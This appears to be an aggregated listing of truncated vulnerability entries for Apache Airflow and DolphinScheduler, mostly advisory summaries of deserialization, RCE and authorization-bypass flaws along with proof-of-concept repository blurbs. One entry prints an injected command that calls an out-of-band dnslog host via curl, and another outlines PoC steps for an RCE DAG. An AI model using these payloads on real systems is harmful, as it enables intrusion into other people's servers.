apache__dolphinscheduler_CVE-2023-49109_3-2-0

Apache Dolphinscheduler О проекте Apache DolphinScheduler — это современная платформа оркестрации данных, которая обеспечивает гибкую, low-code разработку высокопроизводительных рабочих процессов. Она предназначена для обработки сложных зависимостей задач в конвейерах данных и предоставляет широк...

apache__dolphinscheduler_CVE-2023-51770_3-2-00

Apache Dolphinscheduler 소개 Apache DolphinScheduler는 민첩하고 로우코드 방식의 고성능 워크플로우 개발을 가능하게 하는 현대적인 데이터 오케스트레이션 플랫폼입니다. 데이터 파이프라인의 복잡한 작업 종속성을 처리하는 데 전념하며, 즉시 사용 가능한 다양한 내장 작업 유형을 제공합니다. DolphinScheduler의 주요 기능은 다음과 같습니다: 배포가 용이하며, Standalone, Cluster, Docker 및 Kubernetes를 포함한 네 가지 배포 모드를 제공합니다. 사용하기 쉬우...

gha-lab-f894926966

自動生成された研究アーティファクト — 上流プロジェクトではありません。 このリポジトリは、ラヴァル大学の修士論文のために、公開されているGitHub Actionsワークフローの脆弱性を再現する目的で自動化ハーネスによって構築された使い捨てラボです。これは、コミット464c75ad8676e930f5ffd848312b7969b96844d7（2025-07-04）時点のastronomer/dag-factoryの逐語的なスナップショットであり、そのプロジェクト自身のライセンスの下で再配布されています。そのライセンスファイルはこのスナップショットに変更なしで含まれています。...

poc-cve-2025-69219

CVE-2025-69219 apache airflow 안전하지 않은 역직렬화로 인한 RCE 1. poc.py를 Airflow dags 디렉터리에 복사합니다. 2. UI에서 poc 워크플로우를 트리거합니다. 3. 태스크 로그에서 실행 출력을 확인합니다...

CVE-2022-40127

CVE-2022-40127 Apache Airflow .env docker-compose up airflow-init docker-compose up -d waiting some times open localhost:8080 POC 1 examplebashoperator root@kitploit: "fxoxx":"";curl uname.lxx2.535ld4zn.dnslog.pw;"" dnslog를 통한 POC 2 root@kitploit: curl -X 'POST' ...

CVE-2026-59243_exploit

CVE-2026-59243 — Apache Airflow FAB Provider OAuth 인증 우회 → DAG RCE Apache Airflow의 FAB 인증 관리자 제공업체apache-airflow-providers-fab에서 인증 우회가 발생하며, 트리거된 DAG를 통해 원격 코드 실행으로 이어집니다. 이 제공업체는 기본적으로 서명 검증이 비활성화된 Azure OAuth idtoken을 디코딩합니다 airflow/providers/fab/authmanager/securitymanager/override.py,...

BIT-AIRFLOW-2026-67260 Apache Airflow: DAG-author remote code execution on the Scheduler via awaiting_input next_kwargs deserialization

Apache Airflow 3.3.0 moved human-in-the-loop tasks from the triggerer to a new awaitinginput task state swept by the scheduler. That sweep deserializes the task instance's nextkwargs without an allow-list, so a Dag author — who controls that value through the task execution API — can cause an...

BIT-AIRFLOW-2026-68971 Apache Airflow: Cross-team authorization bypass in the asset materialization and dag-run result endpoints

Apache Airflow's asset materialization endpoint POST /api/v2/assets/assetid/materialize and the XCom result check on waitdagrununtilfinished authorized the target Dag without its team, unlike every other authorization site. A team-aware auth manager distinguishes a team-scoped Dag from a global o...

Deserialization of Untrusted Data

Overview Affected versions of this package are vulnerable to Deserialization of Untrusted Data in the deserialize. An attacker can execute arbitrary code by supplying a crafted serialized blob that causes the import and invocation of malicious callables. This can be exploited by a DAG author...

EUVD-2026-57275

Apache Airflow 3.3.0 moved human-in-the-loop tasks from the triggerer to a new awaitinginput task state swept by the scheduler. That sweep deserializes the task instance's nextkwargs without an allow-list, so a Dag author — who controls that value through the task execution API — can cause an...

CVE-2026-67260

Concretely, CVE-2026-67260 affects Apache Airflow 3.3.0 where the scheduler’s awaiting_input sweep deserializes a task’s next_kwargs without an allow-list. This allows a Dag author (via the task execution API) to trigger arbitrary module imports and object instantiation inside the scheduler proce...

CVE-2026-67260 Apache Airflow: DAG-author remote code execution on the Scheduler via awaiting_input next_kwargs deserialization

Apache Airflow 3.3.0 moved human-in-the-loop tasks from the triggerer to a new awaitinginput task state swept by the scheduler. That sweep deserializes the task instance's nextkwargs without an allow-list, so a Dag author — who controls that value through the task execution API — can cause an...

CVE-2026-67260 Apache Airflow: DAG-author remote code execution on the Scheduler via awaiting_input next_kwargs deserialization

Apache Airflow 3.3.0 moved human-in-the-loop tasks from the triggerer to a new awaitinginput task state swept by the scheduler. That sweep deserializes the task instance's nextkwargs without an allow-list, so a Dag author — who controls that value through the task execution API — can cause an...

CVE-2026-67260 Apache Airflow: DAG-author remote code execution on the Scheduler via awaiting_input next_kwargs deserialization

Apache Airflow 3.3.0 moved human-in-the-loop tasks from the triggerer to a new awaitinginput task state swept by the scheduler. That sweep deserializes the task instance's nextkwargs without an allow-list, so a Dag author — who controls that value through the task execution API — can cause an...

CVE-2026-67587

Apache Airflow 3.3.1 or later fixes a deserialization gadget in the Task SDK where a Dag author can cause the scheduler to import an arbitrary module during the awaiting_input sweep by reconstructing a Callback from serialized data. The issue affects SyncCallback’s deserialization path and does n...

CVE-2026-67587

Apache Airflow's Task SDK rebuilt a Callback object from serialized data by re-running its constructor, which imports the module named by the stored callback path. Because SyncCallback is itself an Airflow class it passes the default alloweddeserializationclasses allow-list, so tightening that...

CVE-2026-68968 Apache Airflow: Authorization bypass in the Backfill API through conflicting interpretations of the backfill id

Apache Airflow's Backfill API authorized a request against a Dag id supplied by the caller whenever the backfillid path segment failed to parse. The authorization dependency parsed it with int while the route handler parsed it as pydantic's NonNegativeInt, which accepts values int rejects 1.0...

CVE-2026-68971

Apache Airflow's asset materialization endpoint POST /api/v2/assets/assetid/materialize and the XCom result check on waitdagrununtilfinished authorized the target Dag without its team, unlike every other authorization site. A team-aware auth manager distinguishes a team-scoped Dag from a global o...

CVE-2026-68971

CVE-2026-68971 (Apache Airflow) describes a cross-team authorization bypass in the asset materialization endpoint (POST /api/v2/assets/{asset_id}/materialize) and the XCom result check on wait_dag_run_until_finished. A team-aware auth manager failed to consult the team-scoped permission, treating...

EUVD-2026-57268

Apache Airflow's asset materialization endpoint POST /api/v2/assets/assetid/materialize and the XCom result check on waitdagrununtilfinished authorized the target Dag without its team, unlike every other authorization site. A team-aware auth manager distinguishes a team-scoped Dag from a global o...